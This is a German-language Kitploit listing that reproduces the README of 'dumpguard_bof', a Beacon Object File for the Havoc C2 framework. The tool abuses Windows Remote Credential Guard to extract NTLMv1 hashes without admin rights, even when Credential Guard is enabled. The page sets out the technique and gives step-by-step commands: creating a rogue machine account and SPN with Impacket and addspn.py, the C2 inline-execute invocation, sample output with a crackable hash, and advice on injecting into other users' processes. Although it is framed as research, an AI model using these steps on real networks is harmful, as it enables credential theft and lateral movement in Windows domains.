Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
dumpguard_bof — Beacon Object File (BOF) Portierung von DumpGuard zum Extrahieren von NTLMv1-Hashes aus Sitzungen auf modernen Windows-Systemen. | Kitploit
Tools/GitHubGitHub/0xedh/dumpguard_bof
PasswortangriffeExploitationPost-ExploitationPenetrationstestsAuthentifizierungRed Teaming
GitHub0xedh/dumpguard_bof

dumpguard_bof

Beacon Object File (BOF) Portierung von DumpGuard zum Extrahieren von NTLMv1-Hashes aus Sitzungen auf modernen Windows-Systemen.

Repository anzeigen
22224vor 7 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

DumpGuard BOF

Beacon Object File (BOF)-Port von DumpGuard zum Extrahieren von NTLMv1-Hashes aus Sitzungen auf modernen Windows-Systemen.

Demo

Über dieses Projekt

Dieses Repository enthält eine Beacon Object File (BOF)-Implementierung von DumpGuard, die von der ursprünglichen C#/.NET-Implementierung nach reinem C portiert wurde, zur Verwendung mit Havoc und anderen C2-Frameworks, die BOF-Ausführung unterstützen.

Dies ist ein Proof of Concept (PoC) und eine Lernübung.

Dieser BOF-Port wurde im Rahmen meiner persönlichen Reise erstellt, um die Details des Remote Credential Guard-Protokolls, der Kerberos-Authentifizierungsabläufe und der zugrunde liegenden Windows-Sicherheitsmechanismen zu verstehen. Der Prozess des Portierens dieses Tools von C# nach reinem C für die BOF-Ausführung war in erster Linie eine Bildungsmaßnahme.

Bitte beachten Sie, dass:

  • Dieser Code kann Fehler, Bugs oder unvollständige Implementierungen enthalten.
  • Er wurde nicht umfassend getestet über alle Windows-Versionen oder Konfigurationen hinweg.
  • Einige Randfälle oder Protokollnuancen können nicht ordnungsgemäß behandelt werden.
  • Die Implementierung kann vom Original abweichen auf eine Weise, die die Zuverlässigkeit beeinträchtigt.
  • Dies ist kein produktionsreifer Code. Verwendung auf eigenes Risiko Ü.

Wenn Sie Probleme finden oder Verbesserungen haben, sind Beiträge willkommen. Für eine robuste und gut getestete Implementierung beziehen Sie sich bitte auf das ursprüngliche DumpGuard-Tool.

Ursprüngliche Forschung

Dieser BOF basiert auf der Forschung und den Tools von @bytewreck bei SpecterOps:

  • Original-Tool: github.com/bytewreck/DumpGuard
  • Blog-Beitrag: Catching Credential Guard Off Guard

Übersicht

DumpGuard nutzt Windows Remote Credential Guard (RCG) aus, um NTLMv1-Hashes von angemeldeten Benutzern zu extrahieren, ohne den LSASS-Speicher zu berühren und ohne Administratorrechte zu benötigen. Es funktioniert auch dann, wenn Credential Guard aktiviert ist.

Wie es funktioniert

  1. Einen CredSSP/RDP-Server lokal imitieren. Der BOF agiert als gefälschter RDP-Server.
  2. Windows SSPI austricksen, eine vollständige Kerberos + CredSSP-Authentifizierung durchzuführen.
  3. Die Anmeldeinformationen des Benutzers empfangen, eingehüllt in TSRemoteGuardCreds.
  4. LSAs TSSSP-Paket aufrufen, um eine NTLMv1-Antwort mit einer bekannten Herausforderung zu berechnen.

Der 4-Runden-CredSSP-Tanz

Nach Runde 4 haben wir den verschlüsselten Anmeldeinformations-BLOB. Die Magie passiert, wenn wir LsaCallAuthenticationPackage mit dem TSSSP-Paket aufrufen. LSA leitet unsere Anfrage über RDPEAR -> TSRemoteGuard -> MSV1_0, das die Geheimnisse entschlüsselt und die NTLMv1-Antwort für uns berechnet.

Hintergrund

Credential Guard isoliert NTLM- und Kerberos-Geheimnisse in einem sicheren VBS-Raum (LsaIso.exe) und verhindert so direkte Speicherzugriffsangriffe wie Mimikatz. Credential Guard muss diese Geheimnisse jedoch weiterhin für legitime Authentifizierungen nutzen. Das ist die Schnittstelle, die diese Technik ausnutzt.

Für den vollständigen technischen Tiefgang siehe: Catching Credential Guard Off Guard

Implementierung

Dieser BOF-Port implementiert nur den "Self"-Modus aus dem ursprünglichen DumpGuard-Tool. Die "All"-Modi sind in dieser Version nicht implementiert.

Self-Modus

Extrahiert den NTLMv1-Hash des aktuellen Prozessbenutzers über das Remote Credential Guard-Protokoll.

  • Berechtigungsanforderung: Keine (läuft im Kontext des aktuellen Benutzers)
  • Credential Guard-Status: Funktioniert unabhängig davon, ob Credential Guard aktiviert ist
  • Anforderungen: Anmeldeinformationen für ein Konto mit einem registrierten SPN

Extrahieren von Hashes anderer Benutzer

Während dieser BOF nur den "Self"-Modus implementiert, können Sie dennoch NTLMv1-Hashes anderer Benutzer extrahieren, indem Sie z.B. in einen Prozess injizieren, der als dieser Benutzer läuft. Wenn Sie z.B. Administratorrechte haben, können Sie den BOF in einen Prozess injizieren, der einem anderen angemeldeten Benutzer gehört, um dessen Hash zu erhalten.

Voraussetzungen

SPN-fähiges Konto

Diese Technik erfordert Anmeldeinformationen für ein Konto, das einen Service Principal Name (SPN) registriert hat. Eine Möglichkeit, dies zu erreichen, ist die Erstellung eines Computerkontos und das Hinzufügen eines SPN zu diesem.

Schritt 1: Ein Computerkonto erstellen

Mit Impacket:

root@kitploit:~
python3 addcomputer.py -computer-name 'YOURCOMPUTER$' domain.local/user:password -dc-ip <DC_IP>

Beispielausgabe:

root@kitploit:~
[*] Successfully added machine account YOURCOMPUTER$ with password <random_password>.

Schritt 2: Einen SPN zum Computerkonto hinzufügen

Mit krbrelayx addspn.py:

root@kitploit:~
python3 addspn.py -u domain.local\\YOURCOMPUTER\$ -p '<password>' -s host/yourspn.domain.local --target-type samname <DC_IP>

Schritt 3: Den SPN überprüfen (falls gewünscht)

Mit pywerview:

root@kitploit:~
python3 pywerview.py get-adobject -d domain.local -u YOURCOMPUTER\$ -p '<password>' -t <DC_IP> --sam-account-name YOURCOMPUTER\$

Suchen Sie in der Ausgabe nach serviceprincipalname: host/yourspn.domain.local.

Verwendung

Havoc C2

root@kitploit:~
inline-execute /path/to/dumpguard.x64.o x <domain> <username> <password> <spn>

Hinweis: Der Parameter x ist ein Platzhalter/Dummy-Argument, das vor der Domäne erforderlich ist. Dies könnte in zukünftigen Versionen (falls vorhanden) behoben werden.

Beispiel:

root@kitploit:~
inline-execute /tmp/dumpguard.x64.o x sevenkingdoms.local EVIL_COMPUTER$ MXj070PQpCkNmZiYsRbIu8YYwgDKPD2r host/EVILSPN.sevenkingdoms.local

Beispielausgabe:

root@kitploit:~
[DG] Domain: sevenkingdoms.local
[DG] User: EVIL_COMPUTER$
[DG] SPN: host/EVILSPN.sevenkingdoms.local
[DG] checkpoint 1: init APIs
[DG] SSPI init OK
[DG] checkpoint 2: acquire creds
[DG] checkpoint 3: starting SSPI loop
[DG] Round 1
[DG] AS-REQ: LTK derived, etype=18 len=32
[DG] AS-REQ: sending to KDC...
[DG] Round 2
[DG] Round 3
[DG] NTLMv1: SEVENKINGDOMS\EVIL_COMPUTER$::GOAD-WIN2025::6D270E39AD2DE48B561895C3257D7123FE84F1438B147E2A:1122334455667788

Wichtig: Der extrahierte NTLMv1-Hash gehört dem Benutzer, der den BOF-Prozess ausführt, nicht dem für die Authentifizierung verwendeten Computerkonto (EVIL_COMPUTER$). Die Anmeldeinformationen des Computerkontos werden nur verwendet, um sich beim KDC zu authentifizieren und die Remote Credential Guard-Sitzung aufzubauen.

Die Ausgabe erfolgt im hashcat-kompatiblen NTLMv1-Format:

root@kitploit:~
DOMAIN\user::HOSTNAME::NTRESPONSE:CHALLENGE

Build

root@kitploit:~
make clean && make

Ausgabe: build/dumpguard.x64.o

Anforderungen

  • Das Ziel muss eine der Domäne beigetretene Windows-Maschine sein
  • Sie benötigen Anmeldeinformationen für ein SPN-fähiges Konto (siehe Voraussetzungen)
  • Der BOF läuft im Kontext des aktuellen Prozessbenutzers

Referenzen

Microsoft-Dokumentation

  • Credential Guard Overview
  • Remote Credential Guard
  • AcquireCredentialsHandle
  • InitializeSecurityContext
  • AcceptSecurityContext
  • LsaRegisterLogonProcess
  • LsaConnectUntrusted
  • LsaCallAuthenticationPackage

Microsoft-Protokolle

  • MS-RDPEAR - Remote Desktop Protocol: Authentication Redirection Virtual Channel Protocol
  • MS-CSSP - Credential Security Support Provider Protocol

Forschungspapiere & Blogbeiträge

  • Catching Credential Guard Off Guard - Valdemar Caroe, SpecterOps (2025)
  • Pass the Challenge: Defeating Windows Defender Credential Guard - Oliver Lyak (2022)
  • Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero (2018)
  • The LSA Whisperer Project - Evan McBroom, SpecterOps

Lizenz

BSD 3-Clause License

Das ursprüngliche DumpGuard-Tool ist unter der BSD 3-Clause License lizenziert, Copyright (c) 2025 Valdemar Carøe. Dieser BOF-Port behält die gleichen Lizenzbedingungen bei.


Bei Fragen, Fehlerberichten oder Beiträgen öffnen Sie bitte ein Issue auf GitHub.

Tool herunterladen
RundeClient -> ServerServer -> Client
1SPNEGO + TGT-REQTGT-REPLY (vom echten KDC)
2AP-REQ (Service-Ticket)AP-REP + MIC
3PubKeyAuth (Binding-Hash)Server-Binding-Hash
4AuthInfo (TSRemoteGuardCreds)N/V